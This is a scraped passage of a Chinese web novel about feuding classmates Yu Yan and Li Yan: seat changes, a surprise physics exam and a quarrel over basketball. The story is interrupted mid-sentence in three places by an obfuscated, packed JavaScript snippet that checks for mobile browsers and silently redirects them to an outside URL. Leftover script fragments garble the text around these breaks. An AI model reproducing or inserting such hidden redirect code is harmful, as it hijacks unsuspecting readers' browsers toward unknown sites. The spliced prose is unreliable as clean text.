Wind》的节选。这书她初三暑假就看完了全英文原版,所以她实在不明白,上面那些简单的词汇到底有什么值得大记特记的。 笔记狂魔啊?还是拿回去给俞淮强展示“勤奋好学”? 她不动声色地,极其缓慢地,朝右边斜过眼去。 “怎么?”李衍冷不丁转头。 周围空气死寂两秒。 李衍表情平平,要不是他看了一眼之后就立刻转回头继续奋笔疾书,俞言简直要怀疑他先前那副心无旁骛的样子是在演戏。 又僵硬地过了好几秒,俞言唇瓣张开合拢,合拢又张开,反复几次欲言又止后,她扭回了头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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施茴边说边痛苦地抓头发:“你是不知道我有多煎熬!李珂晶她真的不是哑巴吗?!我抢她笔她都不带吱一声的!受不了,真的受不了!再这样下去我也要出国!不行,我得去找米老——” 说到这儿,她忽然发现俞言的桌子和前后排完全不在一条直线上,往外挪了一大截,硬生生和隔壁桌空出一条楚河汉界。 再往她旁边的座位一看,男生恍若未闻地翻看着教材,不知道是腿太长还是裤子太短,一截白袜脖子上刚好露出“吉尔达”三个扎眼的黑字。 一个没憋住,施茴笑出了猪叫。 李衍面无表情地抬眼看过来。 施茴被他的深黑的眼睛盯得莫名一怵,弯腰小声在俞言耳朵道:“同时天涯沦落人,走!我们一起去磨米老鼠!” “不。”俞言一口回绝。 施茴大叫:“懦夫!” 俞言又把头栽回臂弯里,声音闷闷地传出来:“米老鼠什么人你不清楚?她说往东你就不能往西,除非你当场吊死在她面前。” 顿了一下,她露出两只眼睛,带着狡黠的笑意:“去吧,成功了我叫你妈妈。” 除了成绩,施茴最受不了的就是被人瞧不起:“你等着!” 俞言嗤之以鼻:“等着就等着。” 两分钟后,米敏琼的身影赫然出现在了教室门口。 俞言揉了好几下眼睛,才敢相信这不是幻觉。 “鉴于个别同学对座位安排的意见很大,我只好勉为其难再调整一下。”米敏琼说完,看向跟在身后、一脸期待的施茴:“你想和俞言坐是吧?” 施茴点头如捣蒜。 俞言在下面双眼放光。 李衍也跟着轻松不少。 “行。”米敏琼警告:“我只破例调这一次。” 她大手一挥,干脆利落:“俞言你和郑周换,坐施茴前面。” 笑容瞬间僵在脸上的施茴:“?” 虽然她确实是挨着俞言了,但那还是和李珂晶同桌啊!她的座位根本就没动! 另一边,俞言已经兴高采烈地开始收拾书包。 米敏琼又说:“李衍你和罗浩澜换,坐李珂晶前面。”怕他不理解,还特意解释了一句:“就还是和俞言一排。” 正把书包抽出一半的俞言,动作猛地停了下来。 一阵桌椅挪动的躁动过后,新布局尘埃落定 俞言扭过头和施茴面面相觑,两秒后,同时臭脸瞪向李衍,李衍一脸不关我事的无辜。 目光交战一番后,三人又齐刷刷盯向李珂晶。 李珂晶察觉到不对,终于舍得拨开刘海将眼睛露出来。 四个人,八只眼睛,你看看我,我看看你。 最终一起看向站在讲台上镜片反精光、嘴角噙着一丝微笑的米敏琼。 米敏琼审视完整个教室的座位,非常满意地点了点头。 她调座位最避讳的就是学生谈恋爱,所以从带班开始一直坚持“同性同桌”的铁律。 1班之前男女生恰好都是双数,非常完美,可惜林雪出国了,多一个人也没什么,李珂晶适合单人单桌,可谁能想到,中途又转来一个李衍。 她为此头疼不已,李珂晶倒是一心向学,把李衍安排到她旁边问题不大,可万一呢? 怕的就是那个万一。 还是李衍和俞言做同桌得好。 以她多年在敏行摸爬滚打的经验,他们绝对沾亲带故。 所以谁都可能谈恋爱。 他俩不能! 10.chapter 10 “我真没想过会是这样的结果。”在俞言幽怨的注视下,施茴悻悻摊手。 命注定,她还是要和自闭学霸成为同桌。 不过细想还可以,至少她可以找俞言说话,就是脖子抻久了有点费劲儿。 另一边的俞言双手捂脸,万念俱灰。 右边是讨厌鬼,正后方是话痨,还有一个阴森森看上去快要学疯了的年级第一,被三人联手包围,只能面对过道,俞言烦躁地想把整个学校都炸了。 眼见俞言心情不好,施茴脖子一转,换人骚扰。 “欸,新同学。” 李衍正在收拾抽屉,闻言微侧脸,发现是先前取笑他发出猪叫的女生后,面无表情:“嗯,旧同学。” 大脑宕机的施茴把俞言看笑了。 她早就发现了,李衍并没有看上去那样平易近人,甚至不太好惹,要是招他生气了,说话就会刺刺的。 但施茴也是个难缠的,好赖话不分,磨人的功夫连米老鼠都能逼疯,可想而知等会儿李衍的脸会有多臭。 俞言不再看过道,开始看戏。 果然,施茴第一个问句就是—— “你的裤子和袜子是你老眼昏花的奶奶给你买的吗?” 本来还想礼貌敷衍几句的李衍干脆地把头拧了回去。 施茴脑袋跟着追过去。 “你以前是哪个学校的呀?” “干嘛转学来我们这儿?” “你怎么都不穿校服?” “你成绩怎么样啊?能考第几?” “不说话?你什么星座?巨蟹吗?听说巨蟹座都很闷骚……“ 叭啦叭啦叭啦,噪音持续输出。 李衍脸越黑俞言一旁越高兴,她从来没觉得施茴的声音如此动听。 - 敏行在文理分科前不上晚自习,下午六二十点,最后一道铃声准时敲响。 校门口照旧车流涌动,宛如长龙。 俞言目送着施茴家的车汇入车流后,才快步走向在槐树下等候多时的黑色小轿车。拉门、上车、关门,动作一气呵成。车子利落地掉了个头,艰难拐进一条巴掌窄的羊肠小道。 五分钟后,一个倚着旧墙、低头看书的清瘦身影出现在视野尽头。 车内像是开了静音模式,鸦雀无声。 司机张开平悄悄看了眼后视镜,和今早出门时一样,俞言坐第二排,李衍在第三排,一个靠在左窗,另一个紧贴右边角落,完美连成车内距离最远的对角线。 他不由得想起早上快到校门口时,俞言扭头对李衍发出的三句凶巴巴的警告—— “在学校不许和我说话!” “不和我对视!” “更不能让人知道我们住在一起!” 李衍那孩子比想象中的更上道,说不认识就真当陌生人,下了车一溜烟钻进人群里。 像是比俞言还怕沾上关系。 接送点的路线也是俞言规划的。 她理所当然地走最近的前门,而李衍需要在放学铃响的第一秒就抓起书包狂奔,从后门绕上好大一个圈,才能到这隐秘的汇合点。 俞淮强当然对此完全不知情,因为在警告完李衍后,俞言笑眯眯地伸脖子过来:“张叔叔,这种鸡毛蒜皮的小事应该没必要烦我爸吧?” 他心中骂了句小屁孩,然后打哈哈应承下来。 来接人的路上,他琢磨着半大孩子的脾气就跟六月的天似的,说变就变,同班相处一天总该熟点了吧。 结果一看,非但没缓和,反而更糟糕。 为了打破冷凝的气氛,他思考了好久才想到个不错的开口:“新学期第一天怎么样?” “……” “……” 正在听歌的俞言把耳机往里塞了塞,李衍在后视镜里看了他一眼。 没人回答。 更安静了。 陈平开动了动唇,一路上再也张过第二次嘴。 到家的时候,兰姨已经准备好了饭菜,俞言放下书包照例先去厨房洗手,往饭厅去的时候恰好碰到往里走的李衍。 两人没说话,更没有眼神交流,看待对方如同空气。 擦肩而过之时,俞言也不知道是故意,还是无意地甩了两下手。水珠溅了李衍一脸,他闭着一只眼,撇着下巴用肩头去擦。 “sorry~”俞言的语气相当欠揍。 李衍擦完抬头,冷淡地看她两秒:“道歉有用要警察干什么?” 又刺谁呢? 俞言踮脚抬高手,冲着他脸狠狠甩了两下。 这次是故意的,水珠也更多了,有颗直接挂在了李衍的眼皮上。 话里总算不带刺了,因为他压根都不说话,就面无表情地盯着她。 兰姨在厨房,耳朵还不好,周围空无一人,尤其是在他脸色沉沉地上前一步后,悬殊的身型差距让俞言一哽。 她下意识捏拳抬手。 “你有必修的资料吗?”李衍忽然问。 俞言被问得一愣,又很快反应过来。 垂下拳头,语调很冷:“没有。” 李衍跟听不懂人话似的,又道:“你是年级第二,我想看一下你的笔记。” 俞言往外走,不当回事:“李珂晶还年级第一呢,你怎么不找她要。” 李衍掉头跟在她身后,好声好气地道:“借过了,字太乱,看着费劲儿。” 俞言想都没想:“不借。” “好吧。”李衍低头看向自己的裤子:“反正校服小了,我明天继续穿自己的衣服去学校。” 俞言转过头:“?” 是,丢脸的不是她,但一转头就能瞄到,一低头就能看到,只要和他同桌,就是无时无刻不在污染她的眼睛。 俞言的委屈无法诉说,重新捏拳,深吸口气:“我找找。” 俞言的卧室在四楼,那一整层都是她的地盘,李衍从未上去过,走到一半时,俞言忽然回头,居高临下地问: “你要哪门?” 李衍:“都要。” 俞言沉默两秒,伸出两根手指头,意思很明显,她只给两门。 李衍也沉默了一下,然后低头往下看。 声音轻淡,内容却相当刺耳。 “我还有很多双这样的袜子。” 俞言:“……” 气得她闭了闭眼睛,从牙缝里挤出两个字:“三门。” 李衍见好就收:“数化生。“ 俞言阴着脸继续往上走,踏上最后一层台阶时,忽然意识到什么,猛然回头:“不许上四——” 警告的话戛然而止。因为她身后空无一人。再往下看,李衍仍站在原地,只从三楼拐角的扶手间隙里露出一双漆黑平静的眼睛。 一道声音淡淡的飘上来。 “求我上我也不会上。” “你嘀咕什么?”没听清的俞言往下走了两级台阶。 李衍面不改色:“我说谢谢你。“ 大小姐扬起高高的下巴,转身上楼。 几分钟后,俞言气喘吁吁抱着撂书下三楼扔李衍怀里。 李衍臂力惊人,不用大腿支撑,左手搂一大撂书都面不改色气不喘的,另外一只手翻开最顶上那本数学教辅。 看了几眼,俞言发现他皱起了眉头。 “怎么?” 李衍咕哝一句:“还不如李珂晶的。” “你说什么?” “我说……”李衍又扫了一眼,本想蒙混过去,但瞄到那些字里行间,状如鸡爪,行如鬼爬的笔记,实在是忍不住了:“你的字……真是别具一格的艺术。” 俞言快炸了:“你什么意思?” 李衍下意识想后退。 俞言一把抓住他衣服不让他走,“你字儿好看,你字漂亮!” 她气冲冲地转身跑回四楼卧室,很快又冲下来,将一支胡萝卜造型的笔用力拍在李衍手里,指尖没好气地戳着那本教辅的封面: “来,你写,就写你名字,写啊,我倒要看看……” 她话音未落,李衍已经利落地合上笔盖了。 俞言凑近一看,瞬间哑火,她小时候学过一段时间书法,鉴赏能力还是有的,中气十足的声音因为没有底气逐渐变小:“也就……那样吧。” 李衍看看书上那歪歪扭扭的狗爬体,再看看自己刚写下的名字,喉结动了动,平平淡淡地补了一句:“嗯,是很一般。” “爱要不要!“俞言恼羞成怒,伸手就要把书抢回来。 李衍手臂一缩:“我没说不要。” “你不是嫌丑吗?” “丑也得看啊。” “谁丑?!你有本事再说——” “吃——”兰姨的声音从底下传来,当她扶着把杆仰头望去时,由衷地改口:“吃完再吵吧。” - 翌日一早,米敏琼拎着她那标志性的买菜用的红色布口袋出现在教室门口。 “米老师,这节是语文课……”课代表小声提醒。 “我知道,什么课都不上。”米敏琼从口袋里拎出一沓卷子,霸气地往讲台上一扔,一字一顿地宣布:“今天——考——试——!” 教室顿时响起一阵惨绝人寰的唏嘘。 “啊?不是吧……” “又不提前说!” “怎么开学就考?” 米敏琼对这场面早已见怪不怪,下巴朝门外一扬:“不想考的,现在就可以出去。” 大家嘴上抱怨着,动作却很诚实,麻利地收拾桌面,自觉和同桌拉开距离。 在一片桌椅拖动的刺耳噪音中,有点发懵的李衍忍不住转向俞言:“考什么?” 见他迷茫的表情,俞言有点想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371502|183227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,但忍住了,慢悠悠坐下来,云淡风轻地道:“试啊。” 李衍:“……” 那不废话吗。 “卷子发下来前没人知道考哪科。”或许是见他迷茫得有些可怜,施茴凑上前来解释。 李衍又问:“那范围呢?” “也不知道。”施茴耸肩。 俞言怜悯地斜过来一眼:“考完去米老鼠面前磕一个,看你是新同学的份上,出成绩的时候估计不会死得太难看。” 李衍摸了下鼻子,干巴巴地坐下:“那我可真是谢谢你。” “行,也给我磕个。”俞言说。 李衍没心情跟她斗嘴,长长呼出一口气,闭上了眼睛。 突击考试,米敏琼从头监考到尾,1班的学生非常守规矩,连坐在年级第一旁边的施茴的眼睛都没离开过试卷。 所有人专心致志,除了时不时瞄一眼旁边的俞言。 她不是想抄袭,而是实在是太好奇了。 语文和英语暂且不论,这套物理卷子,她粗略扫了一下,大概是学校为了检查假期的学习成果,以及给大家一个下马威,学过的内容很少,绝大部分是选修的知识,剩下一部分则是连她都看不懂的超纲内容。 所以,李衍这个连必修课都没学完的乡下来的转校生,到底在埋头苦写什么? 画乌龟吗? 唰唰唰——唰唰唰—— 笔尖划过纸张的声音不断传来。 她又忍不住瞥了一眼。 这次,李衍恰好偏过头,捕捉到了她的视线。 俞言有点轻微近视,不爱戴眼镜。阳光从窗外照进来,在试卷上反射出白花花的一片。‘ 装模作样。 不会写还发出噪音打扰别人。 俞言不屑地扯了下嘴角,与此同时,李衍身体忽然往她这边偏了偏,飞快地瞥了一眼讲台上正忍不住打盹的米敏琼,然后视线拉回,定定地落在她脸上好几秒。 即使背着光,他的眼睛也格外漆黑清亮,像一潭陈年深墨。 就那样一眨不眨地看着她。 什么意思? 想靠这副表情装可怜博同情,然后伺机抄她的答案? 品行不端! 俞言手臂一抬,严严实实地盖住了试卷左侧。 李衍的眉头几不可见地蹙了一下,似乎有些着急。他抿了抿唇,用口型无声地说了两个字。 俞言眯起眼,努力分辨那模糊的唇形,下意识地跟着复述—— 小……气? 谁小气?狼狈为奸作弊就大度是吧?俞言心底冷哼一声,干脆整个人趴了下去,把卷子连同草稿纸全都挡得密不透风。 一整天的连环考试榨干了所有人的精力,放学时大家都跟活死人没啥区别,呜呼哀哉—— “真特么难,敏行简直不把我们当人!” 一片抱怨声中,有人跑来试探:“物理最后两道题你觉得难吗?” 和那些喜欢藏着掖着的学霸不同,俞言一向坦诚:“没做,不会。” 那人脸上闪过一丝微妙的窃喜,又转身去问李珂晶。 李珂晶过来很久才抬头,看向他的眼神黯然无光。 懂了,这是也难住了。 俞言回过神,照例揉了揉一脸菜色的施茴的头发:“放心,不会是最后一名。” “你脸上怎么蹭了道笔芯。”施茴有气无力地抬手,用指腹在她下颚处上蹭了蹭,没蹭掉,反而更花了。 她哭丧着脸哀嚎:“完蛋了完蛋了,后面大题我憋了半天就只憋出来一道……” 俞言凑到她耳边低声说了句什么,施茴脸上瞬间阴转晴:“真的?” 俞言用下巴朝前方轻轻一扬。 视线落脚之处,男生正趴在桌上,整张脸深埋进臂弯,双手罩住脑袋,活像一只不愿面对现实的鸵鸟。 据她不经意间的观察,物理考试刚过一半,李衍就一头栽下去了,从此再也没有动过笔。 他要是能考过施茴,她当场倒立吃屎。 米敏琼也是这样认为的。 第二天一早,她坐在办公室里,拿着各科老师连夜批改出的成绩单,神色凝重地从后往前看。 刚看到倒数第一个名字,她的眉头就紧紧皱了起来。 看吧。 她说什么来着。 不要以为自己成绩好就能为所欲为,年级第一又如何,像石中那种垃圾学…… 等等。 米敏琼重新抬了抬眼镜。 1班的学生个个骄傲自满,为了挫锐气,物理试卷是她亲自组装的题目,百分之六十超纲,难度堪比竞赛,年级第一的李珂晶考了98分,相当不错,而李衍…… 满分120,他也120。 米敏琼对着成绩单怔了两秒。 还真可能是个天才。 11.chapter 11 李衍物理满分的消息很快在年级里传开。 原本看着自己96分的试卷还算满意的俞言,在转头目睹被围得水泄不通的李衍时,嘴角还没荡开的那点笑顿时僵在脸上。 然后揉巴揉巴,嫌弃地将其塞进抽屉里最深的角落。 敏行成绩优异的学生大致分两类:要出国的和死磕高考的,前者分散在隔壁国际班,后者集中于1、2班。 走高考这条路的学生普遍将优绩主义刻进了骨子里,个个顶着颗分数脑袋。 就好比现在,成绩一出,Adadis全抛脑后了。 “李衍……能借我看看你的卷子吗?”学习委员邹文轩率先开口,语气里带着小心翼翼的试探。 这样的情形李衍并不陌生,在石中时,同学们喜欢借阅他的笔记,连老师也习惯用他的试卷当标准答案讲题。 以至于很多时候他只能对着窗外的小鸟发呆。 只是没想到把卷子一掏,十几颗脑袋从四面八方同时凑上来。 “这个解题思路……”邹文轩将卷子牢牢掌握在自己手里,目光如饥似渴地舔过每一行字:“和答案完全不一样诶。” “我看看!” “靠,好简洁,我怎么就没想到?” “翻面翻面,看看最后一道大题。” “……” 大家你扯一下,我看一眼,还有掏出手机拍照的。 伴随着叽叽喳喳的讨论声,几乎要把课桌掀翻。 说实话,李衍有点懵,大概是空气被挤得太稀薄缺氧。而一旁的俞言就更别提了,脸都被吵绿了,眼睛阴幽幽地盯着李衍。 “这么难的竞赛题居然都会……”邹文轩忽然抬头,目光灼灼:“你在哪个物理老师那儿补的课?” 李衍嘴唇微张,然后瞬间闭上,下意识把“没补”两个字咽了回去。 初来乍到,还是谦虚点好。 可他这片刻的迟疑,落在邹文轩眼里就是另外一种解读了。 1班的学生除了拼天赋,更多的是比资源,班上不少同学的妈妈全职陪读,接送孩子之余,每天都在交流情报、互换资源。 他的妈妈就是因为掌握第一手消息,成了家长群里的核心人物。 “随便问问。”邹文轩把卷子递回去,很表面地笑了下:“我有固定的老师,没打算换。” 对于他的误解,李衍没有解释,只含糊地“哦”了一声。 只是没想到邹文轩杀了个回马枪:“哪个机构的?说不定我去过。” 李衍楞了一下:“老家那边的。” “你老家是哪儿?” “一个挺偏的小地方,说了你大概也不知道。” “这样啊……”邹文轩笑了笑,没再继续——话说到这份上,再问就不体面了。他客气地道了句“谢谢你的卷子啊”,转身回了座位。 全程旁观的俞言向后一靠,指尖的水性笔转得飞快,几乎晃出残影。她眼尾轻扫,看见李衍正低垂着眼,仔细抚平被人抓皱的卷子。 虽然这人说话刺刺的像是没带脑子,但刚刚那番应对……倒意外地有点情商。 不过对上邹文轩这种心眼比针尖还小的,还不如随便编个老师的名字。就他刚才那反应,落在别人眼里,在关系本就不熟的情况下,就是那种最令人讨厌的藏着掖着的学霸行为。 思及此,她往前看去。 邹文轩果然在对他周围的人有声有色地说着什么。 不一会儿,坐在他前边的吴雷忽然扭头瞥了李衍一眼,不屑地张了张嘴唇。 骂的什么? 傻逼?……还是装货? 没听清。俞言收回目光。 李衍这时已经若无其事地把卷子收起来了,正对着空无一物的桌面指尖划来划去,愁眉苦脸地默背单词。 她轻轻扯了下嘴角,到底没说什么。 - 敏行向来注重学生的身体素质,每周排了三节体育课。一节常规,两节选修。周三下午,恰巧1班和2班同一时间在操场上常规课。 两位体育老师颇有默契,各自带着学生跑完两圈后,几乎同时吹哨宣布:“自由活动!” 两个班的学生本就互相认识,哨音一落,人群迅速分散,又自然地重新聚合。 树荫下三三两两坐着聊天的,快步小跑去食堂买零食的,还有早已占好场地打羽毛球、踢足球的,各自扎堆。 喧哗声在操场上空荡开。 李衍融不进去,也没想融。他独自坐在观众看台的最底层,那里阳光最烈。他微低着头,指尖有一搭没一搭地拨弄着被风吹进发间的柳絮。 忽然,一双运动鞋停在他低垂的视线里。 “打篮球吗?”周既明的声音从上方传来。 李衍动作一顿,抬眼朝远处篮球架方向望去。 那边站着好几个人,面孔大多陌生,应该是2班的。但最右边那个抱着篮球、眉头紧锁盯着过来的人,他认得——是吴雷。 李衍摇头。 他还没闲到主动去触这种霉头。 “别啊,”周既明不放弃,“全场5v5,正差一个人。” 李衍依旧拒绝,站起身打算离开。 周既明横跨一步拦住他,压低声音:“你不打,我就把你住俞言家的事告诉所有人。” 李衍猛地扭头:“?” “我不开玩笑。“周既明很认真地说。 一是真想看看这个“在地里打西瓜”的家伙到底什么水平,二是确实缺个能跟吴雷对上位的人。李衍看着瘦,但四肢匀称有力,线条流畅,是块打球的料。况且暑假憋了太久,他手痒得不行。 李衍双手叉腰,眯眼望向刺目的太阳,深吸一口气:“不是吧……” 他回过头,目光掠过远处某个正跳起来挥拍击球的熟悉身影,语气复杂:“她那种耍无赖的本事……该不会是跟你学的吧?” “啊?”周既明一愣,随即指着自己,睁大眼,“我?” 他想起俞言之前吐槽,不以为然:“关我什么事,你逼她借资料的时候,不也挺有一套?” 李衍被噎得无话可说,只能活动了下脖颈,发出轻微的咔哒声,最终勉为其难地点头:“行。” 十几秒后,两人的身影从俞言视野里晃过去。 “捡球啊!”施茴冲着对面明显走神的人喊道。 俞言放下羽毛球拍,目光追着那两个走向篮球场的背影,越飘越远。 施茴莫名其妙地跑过来,在跟随她的视线看向篮球场后,脸上的疑惑瞬间被兴奋取代:“走走走!看周既明打球!” 炎炎夏日,烈日当空,万里无云。 吴雷的视线刻意绕过李衍,一脸不耐烦地问:“怎么分队?” “还能怎么分,”周既明伸手比划了一下,“我们五个,你们五个。” 吴雷扫了一眼被划到自己这边的人,眉头皱起,流露出明显的不满,但碍于周既明的面子,到底没吭声。 “兄弟,你打哪个位置?”旁边有人问李衍。 “你们先选,我补位。” 那人有点无奈:“不是跟你客气,对面三个校队的,我们这边就吴雷一个能扛。你打你最擅长的位置就行。” 李衍想了想,回答得挺实在:“都行,都能打一点。” “嘁——” 一声毫不掩饰的嗤笑从吴雷那边传来。 李衍心头隐隐升起一丝不妙的预感。果然,比赛一开始,吴雷就彻底开启了单干模式——不传球、不配合、连抢篮板都只顾着自己。 他还不确定这到底是吴雷一贯的球风,还是存心针对自己。直到一次绝佳的空位机会出现,他抬手示意要球。 吴雷立刻给控卫使了个眼色。控卫看看李衍,又看看吴雷一脸不容置疑的表情,立马把抬到一半的手收回,转身投给另外一个被严防死守的队友——结果瞬间被断。 末了,反而冲过来对着李衍大吼:“你会不会打啊!” 李衍耸耸肩,语气平静:“不会。” 说完转身就朝场外走。 他是脾气好,但不是没脾气。打场球跟演宫心计似的,没劲透了。 “走什么。”吴雷乘胜追击:“你他妈不是牛逼哄哄的都能打吗!” 李衍脚步顿住,转过身,目光淡然地看回去:“是啊,你他妈能打吗?” 话音落下,整个球场安静了一瞬。场上的人面面相觑,连看台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382507|183227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的喧闹也低了下去,空气里绷紧了一触即发的火药味。 “操!”吴雷把球狠狠往地上一砸,冲了过来。 李衍也没露怯,一把将袖子撸到肩头,绷紧的手臂线条透出隐忍的力道。 “哎!干嘛呢!”一道怒吼传来,一声怒吼炸响,体育老师大步流星地冲过来,一个弓步卡进两人中间,先指向吴雷:“吴雷!手给我放下!” 又转过头瞪李衍:“还有你!袖子再撸一个给我试试?我看你是皮痒了!” 吴雷咂了下嘴别开脸,李衍也扭头看向旁边,两人脸上是如出一辙的不服。 “有劲儿没处使是吧?行!”体育老师吹响哨子,“立正!握拳!预备——跑!各十圈!” 李衍面无表情迈开腿率先上了跑道,吴雷却还僵着不动,被体育老师从后推了一把,才不情不愿地跟上。 “完蛋了,”施茴投去同情的目光:“惹谁不好,非要惹吴雷。” 俞言轻嗤一声:“刺儿呗。” 吴雷是敏行出了名的刺头,男女一视同仁地怼。仗着二舅是教育厅领导,自己成绩还不赖,就没他不敢欺负的人。 连她也尽量避着这人走。 她扯起嘴角,露出个看好戏的冷笑:“这下有得看了。” - 李衍大汗淋漓地跑完十圈,回到教学楼前,先去洗手间冲了把脸。 冰凉的水暂时压下了皮肤的热度,却冲不散心头那点郁结。 他一踏进教室门,就敏锐地察觉到气氛不对。 原本哄闹的教室,在他走向自己座位的过程中,像是被无形的手逐渐调低了音量,直至他停在自己的课桌前,周遭已是一片诡异的寂静。 接着,他看见桌上一个被捏得彻底变形的矿泉水瓶,以及躺在一片水渍中,吸饱了水的书包。 他脑子里嗡的一声,但情绪还没上来,身体先动了。 他蹲下身,先把几本完全浸湿的必修课本和卷子捞起来,水珠滴滴答答地落回地上。 然后,抬眼,视线精准地锁定了那个吊儿郎当靠在垃圾桶旁、正仰头喝水的吴雷。 脸沉了下去,眼神也黑,像结了一层冰。 “好吓人,”施茴紧张地凑到俞言耳边,“不会要打起来吧?” 俞言瞄了一眼斜前方李衍那攥得死紧、指节都发白了的拳头,心道何止是打起来,这气势是要把对方打死才罢休。 就在这时—— “咵哒”一声轻响。李衍只用一根手指,就勾起了那只湿漉漉、沉甸甸的书包。在全班的注目礼中,一言不发地转身走向后门。 俞言已经能脑补出下一秒他把书包狠狠砸在吴雷脸上的血腥画面了。好整以暇地转过去,抱臂看准备戏。 李衍在离垃圾桶一步远的地方停下。几乎是同时,吴雷把手中的空瓶子一扔,攥紧拳头,摆出一副“老子等着你”的挑衅表情。 整个教室的空气仿佛都凝固了。 所有人屏息凝神,看着李衍抬起了手,然后———拎着那只湿透的书包,没什么表情地抖了抖水。 俞言:“………” 她心里那点看热闹的兴致瞬间熄灭了,取而代之的是一种难以言喻的憋闷。 有一种看常在自家门口转悠的、很嫌弃的流浪狗被人狠狠踹了一脚的不适感。 李衍刚沉默地坐回位置,俞言就忍不住窝火地侧过身,压低声音:“你不是挺能吵、挺会阴阳别人的吗?白长这么高个子,就只会挑软柿子捏?” 来敏行前,从来没有人说过他会吵会阴阳。 他拿着纸巾,慢条斯理擦拭着封面上的水渍,从她的话里挑出一个重点,偏过头问:“你是软柿子?” “……”俞言被这话一堵,简直鬼使神差地呼出一口气:“吴雷那个人很浑,认识几个职高的混混。上学期把四班一个男生腿打折了,你小心点,他不会轻易放过你的。” 李衍垂着眼,继续擦手里的书,没什么反应。 “我说真的。”俞言苦口婆心。 “哦……””李衍依旧是那副无动于衷的样子,擦书的动作都没停。但两秒后,似忽然想到什么,转过头诧异地看她: “干嘛关心我?”